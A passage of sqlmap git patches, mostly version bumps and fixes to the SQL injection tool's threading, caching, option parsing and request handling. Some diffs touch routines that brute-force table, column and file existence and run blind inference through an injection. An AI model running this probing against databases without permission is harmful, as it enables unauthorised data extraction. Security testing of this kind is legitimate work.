getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) - threadData.shared.value = [] + threadData.shared.files = [] threadData.shared.unique = set() def tableExistsThread(): @@ -128,7 +128,7 @@ def tableExistsThread(): kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: - threadData.shared.value.append(table) + threadData.shared.files.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: @@ -152,17 +152,17 @@ def tableExistsThread(): clearConsoleLine(True) dataToStdout("\n") - if not threadData.shared.value: + if not threadData.shared.files: warnMsg = "no table(s) found" logger.warn(warnMsg) else: - for item in threadData.shared.value: + for item in threadData.shared.files: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) - for _ in ((conf.db, item) for item in threadData.shared.value): + for _ in ((conf.db, item) for item in threadData.shared.files): if _ not in kb.brute.tables: kb.brute.tables.append(_) @@ -224,7 +224,7 @@ def columnExists(columnFile, regex=None): threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) - threadData.shared.value = [] + threadData.shared.files = [] def columnExistsThread(): threadData = getCurrentThreadData() @@ -244,7 +244,7 @@ def columnExistsThread(): kb.locks.io.acquire() if result: - threadData.shared.value.append(column) + threadData.shared.files.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) @@ -269,13 +269,13 @@ def columnExistsThread(): clearConsoleLine(True) dataToStdout("\n") - if not threadData.shared.value: + if not threadData.shared.files: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} - for column in threadData.shared.value: + for column in threadData.shared.files: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: @@ -327,7 +327,7 @@ def fileExists(pathFile): threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(paths) - threadData.shared.value = [] + threadData.shared.files = [] def fileExistsThread(): threadData = getCurrentThreadData() @@ -350,9 +350,9 @@ def fileExistsThread(): kb.locks.io.acquire() if not isNoneValue(result): - threadData.shared.value.append(result) + threadData.shared.files.append(result) - if conf.verbose in (1, 2) and not conf.api: + if not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) dataToStdout(infoMsg, True) @@ -379,10 +379,10 @@ def fileExistsThread(): clearConsoleLine(True) dataToStdout("\n") - if not threadData.shared.value: + if not threadData.shared.files: warnMsg = "no file(s) found" logger.warn(warnMsg) else: - retVal = threadData.shared.value + retVal = threadData.shared.files return retVal From bd1ea4fd7324a6c181d0e493411cab9a107461ea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2019 20:32:02 +0200 Subject: [PATCH 531/800] Fixes #3837 --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 68a71368281..e56cfc89fb0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.35" +VERSION = "1.3.7.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 93c8f07b973..34e34a5e8f3 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -178,7 +178,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: numThreads = 1 - if numThreads == 1 and not timeBasedCompare and not conf.predictOutput: + if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) From 0bc5069042b251bb288d7a8d8b37e71ccf0cd155 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 19 Jul 2019 12:17:07 +0200 Subject: [PATCH 532/800] Implements #3834 --- lib/core/common.py | 11 +++++++++-- lib/core/option.py | 14 ++++++++++++-- lib/core/settings.py | 2 +- lib/request/connect.py | 4 +++- 4 files changed, 25 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index f4aa3d5ae87..e012a35bf2a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4868,6 +4868,8 @@ def zeroDepthSearch(expression, value): >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] 'FROM DUAL' + >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] + ',d;e' """ retVal = [] @@ -4878,8 +4880,13 @@ def zeroDepthSearch(expression, value): depth += 1 elif expression[index] == ')': depth -= 1 - elif depth == 0 and expression[index:index + len(value)] == value: - retVal.append(index) + elif depth == 0: + found = False + if value.startswith('[') and value.endswith(']'): + if re.search(value, expression[index:index + 1]): + retVal.append(index) + elif expression[index:index + len(value)] == value: + retVal.append(index) return retVal diff --git a/lib/core/option.py b/lib/core/option.py index 81566483760..7fc708e28f1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1583,8 +1583,17 @@ def _cleanupOptions(): conf.user = conf.user.replace(" ", "") if conf.rParam: - conf.rParam = conf.rParam.replace(" ", "") - conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) + if all(_ in conf.rParam for _ in ('=', ',')): + original = conf.rParam + conf.rParam = [] + for part in original.split(';'): + if '=' in part: + left, right = part.split('=', 1) + conf.rParam.append(left) + kb.randomPool[left] = filterNone(_.strip() for _ in right.split(',')) + else: + conf.rParam = conf.rParam.replace(" ", "") + conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] @@ -1946,6 +1955,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 + kb.randomPool = {} kb.redirectChoice = None kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} diff --git a/lib/core/settings.py b/lib/core/settings.py index e56cfc89fb0..5236846d940 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.36" +VERSION = "1.3.7.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 70a2a4e9747..7048b1624bb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -7,6 +7,7 @@ import binascii import logging +import random import re import socket import string @@ -1102,7 +1103,8 @@ def _randomizeParameter(paramString, randomParameter): match = re.search(r"(\A|\b)%s=(?P[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) return retVal for randomParameter in conf.rParam: From 198ceb8ba119a34159b1b70e802082d76e0a3c0c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 19 Jul 2019 12:24:34 +0200 Subject: [PATCH 533/800] Minor update regarding the #3834 --- lib/core/option.py | 2 ++ lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7fc708e28f1..8fea7aa5f3a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1591,6 +1591,8 @@ def _cleanupOptions(): left, right = part.split('=', 1) conf.rParam.append(left) kb.randomPool[left] = filterNone(_.strip() for _ in right.split(',')) + else: + conf.rParam.append(part) else: conf.rParam = conf.rParam.replace(" ", "") conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5236846d940..308af2415a6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.37" +VERSION = "1.3.7.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4a6ff82273eb8251032517bdb5e7dc58ccdaa919 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 24 Jul 2019 23:43:08 +0200 Subject: [PATCH 534/800] Patch for #3851 --- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 308af2415a6..a3f97e148e3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.38" +VERSION = "1.3.7.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 90e2a718fa6..a0f96497679 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -141,6 +141,8 @@ def flush(self, forced=False): self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) + except UnicodeError: # e.g. surrogates not allowed (Issue #3851) + break except sqlite3.DatabaseError as ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath From 86abf179f280e56623c1d5dea4948ed21f79640d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Jul 2019 20:12:45 +0200 Subject: [PATCH 535/800] Fixes #3850 --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a3f97e148e3..abf8694a84b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.39" +VERSION = "1.3.7.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 34e34a5e8f3..2f2ebf45502 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -346,7 +346,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) - if not timeBasedCompare: + if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode From 1f644bd3aef8a8994b7d41f2776e73b9c5348490 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Jul 2019 20:28:56 +0200 Subject: [PATCH 536/800] Fixes #3854 --- lib/core/decorators.py | 13 ++++++++----- lib/core/settings.py | 2 +- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 1f5cd09791d..de23c66d6d7 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -14,10 +14,11 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData +_cache = {} _cache_lock = threading.Lock() _method_locks = {} -def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)): +def cachedmethod(f): """ Method with a cached content @@ -34,22 +35,24 @@ def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)): Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ + _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) + @functools.wraps(f) - def _(*args, **kwargs): + def _f(*args, **kwargs): key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff try: with _cache_lock: - result = cache[key] + result = _cache[f][key] except KeyError: result = f(*args, **kwargs) with _cache_lock: - cache[key] = result + _cache[f][key] = result return result - return _ + return _f def stackedmethod(f): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index abf8694a84b..3df9c7cf8ab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.40" +VERSION = "1.3.7.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9e8aec37c89063077221982b335cdd5629c19ec6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Jul 2019 20:31:22 +0200 Subject: [PATCH 537/800] Minor patch --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e012a35bf2a..e28cebf34e9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1137,7 +1137,7 @@ def getTechnique(): Thread-safe getting of currently used technique """ - return getCurrentThreadData().technique or kb.technique + return getCurrentThreadData().technique or kb.get("technique") def randomRange(start=0, stop=1000, seed=None): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 3df9c7cf8ab..71f50d443f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.41" +VERSION = "1.3.7.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ec0be6519fa1290b6a8373fd377e25421f98f81b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2019 19:53:20 +0200 Subject: [PATCH 538/800] Minor update --- lib/core/option.py | 6 ++++++ lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 8fea7aa5f3a..48cdea9d5c0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -293,6 +293,7 @@ def _setRequestFromFile(): if conf.requestFile: for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): requestFile = safeExpandUser(requestFile) + url = None seen = set() if not checkFile(requestFile, False): @@ -311,6 +312,11 @@ def _setRequestFromFile(): conf.multipleTargets = True seen.add(url) + if url is None: + errMsg = "specified file '%s' " % requestFile + errMsg += "does not contain a valid HTTP request" + raise SqlmapDataException(errMsg) + if conf.secondReq: conf.secondReq = safeExpandUser(conf.secondReq) diff --git a/lib/core/settings.py b/lib/core/settings.py index 71f50d443f2..c00567d7587 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.42" +VERSION = "1.3.7.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a9de51380bd9086b5ad0a502c0a55779745ff01d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2019 20:00:51 +0200 Subject: [PATCH 539/800] Implementation for #3845 --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e28cebf34e9..0a86df45e57 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4995,7 +4995,7 @@ def _parseBurpLog(content): else: scheme, port = None, None - if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): + if "HTTP/" not in request: continue if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): @@ -5020,7 +5020,7 @@ def _parseBurpLog(content): newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') - match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None + match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: data = "" diff --git a/lib/core/settings.py b/lib/core/settings.py index c00567d7587..09a1b58cb9e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.43" +VERSION = "1.3.7.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 093b36f12dc995ec9406bbcc84ce5dbce411ac02 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 2 Aug 2019 19:33:16 +0200 Subject: [PATCH 540/800] Minor patch --- lib/core/settings.py | 2 +- lib/core/target.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09a1b58cb9e..d7527dbe763 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.44" +VERSION = "1.3.8.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index f10ad4e52fc..77b780a8a04 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -111,7 +111,7 @@ def _setRequestParams(): def process(match, repl): retVal = match.group(0) - if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]): + if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) @@ -121,6 +121,7 @@ def process(match, repl): break if kb.customInjectionMark in retVal: hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name"))) + return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: From b5063fc25acee1ed4191325a2072f5f2a1015441 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 2 Aug 2019 20:29:52 +0200 Subject: [PATCH 541/800] Implementation for #3859 --- lib/core/option.py | 4 ++++ lib/core/settings.py | 2 +- lib/request/connect.py | 10 ++++++++++ 3 files changed, 15 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 48cdea9d5c0..583af8dfbfe 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1302,6 +1302,9 @@ def _setHTTPExtraHeaders(): if header and value: conf.httpHeaders.append((header, value)) + elif headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -1905,6 +1908,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forceWhere = None kb.futileUnion = None kb.heavilyDynamic = False + kb.headersFile = None kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None diff --git a/lib/core/settings.py b/lib/core/settings.py index d7527dbe763..f97612b4924 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.0" +VERSION = "1.3.8.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7048b1624bb..25990a18df9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -42,6 +42,7 @@ class WebSocketException(Exception): from lib.core.common import getSafeExString from lib.core.common import isMultiThreadMode from lib.core.common import logHTTPTraffic +from lib.core.common import openFile from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomizeParameterValue @@ -60,6 +61,7 @@ class WebSocketException(Exception): from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -426,6 +428,14 @@ def getPage(**kwargs): if auxHeaders: headers = forgeHeaders(auxHeaders, headers) + if kb.headersFile: + content = openFile(kb.headersFile, "rb").read() + for line in content.split("\n"): + line = getText(line.strip()) + if ':' in line: + header, value = line.split(':', 1) + headers[header] = value + for key, value in list(headers.items()): del headers[key] if isinstance(value, six.string_types): From a42a7c88bdc7b499dd42d6ccd92ab4b75aeba909 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Aug 2019 01:05:13 +0200 Subject: [PATCH 542/800] Fixes #3841 --- lib/core/dump.py | 26 +++++++++++++------------- lib/core/settings.py | 2 +- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index a266e6426e5..846c445bd65 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -676,28 +676,28 @@ def dbColumns(self, dbColumnsDict, colConsider, dbs): else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) - msg = "column%s found in the " % colConsiderStr - msg += "following databases:" - self._write(msg) - - _ = {} - + found = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): - if db in _: - if tbl in _[db]: - _[db][tbl][col] = dataType + if db in found: + if tbl in found[db]: + found[db][tbl][col] = dataType else: - _[db][tbl] = {col: dataType} + found[db][tbl] = {col: dataType} else: - _[db] = {} - _[db][tbl] = {col: dataType} + found[db] = {} + found[db][tbl] = {col: dataType} continue - self.dbTableColumns(_) + if found: + msg = "column%s found in the " % colConsiderStr + msg += "following databases:" + self._write(msg) + + self.dbTableColumns(found) def sqlQuery(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) diff --git a/lib/core/settings.py b/lib/core/settings.py index f97612b4924..ada7ac1b109 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.1" +VERSION = "1.3.8.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1824e5b094d1521791def3b3dc320f8c35522c02 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Aug 2019 01:05:28 +0200 Subject: [PATCH 543/800] Trivial removal of leftover --- lib/core/common.py | 1 - lib/core/settings.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0a86df45e57..6ef4b193d13 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4881,7 +4881,6 @@ def zeroDepthSearch(expression, value): elif expression[index] == ')': depth -= 1 elif depth == 0: - found = False if value.startswith('[') and value.endswith(']'): if re.search(value, expression[index:index + 1]): retVal.append(index) diff --git a/lib/core/settings.py b/lib/core/settings.py index ada7ac1b109..0b1816861f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.2" +VERSION = "1.3.8.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From de632388971b8c1ad54c9ee37885d679885e0657 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 6 Aug 2019 02:54:18 +0200 Subject: [PATCH 544/800] Minor patch for --threads and multi Ctrl-C --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/core/threads.py | 16 ++++++++++------ 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 583af8dfbfe..982653a1b9e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1935,6 +1935,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None + kb.multipleCtrlC = False kb.negativeLogic = False kb.nullConnection = None kb.oldMsf = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 0b1816861f4..6c747208a45 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.3" +VERSION = "1.3.8.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 234424f9505..ce0b374ba36 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -114,6 +114,7 @@ def setDaemon(thread): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] + kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False kb.technique = ThreadData.technique @@ -185,6 +186,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio pass except KeyboardInterrupt: + kb.multipleCtrlC = True raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: @@ -199,13 +201,15 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio traceback.print_exc() except: - from lib.core.common import unhandledExceptionMessage - print() - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + + if not kb.multipleCtrlC: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() finally: kb.threadContinue = True From 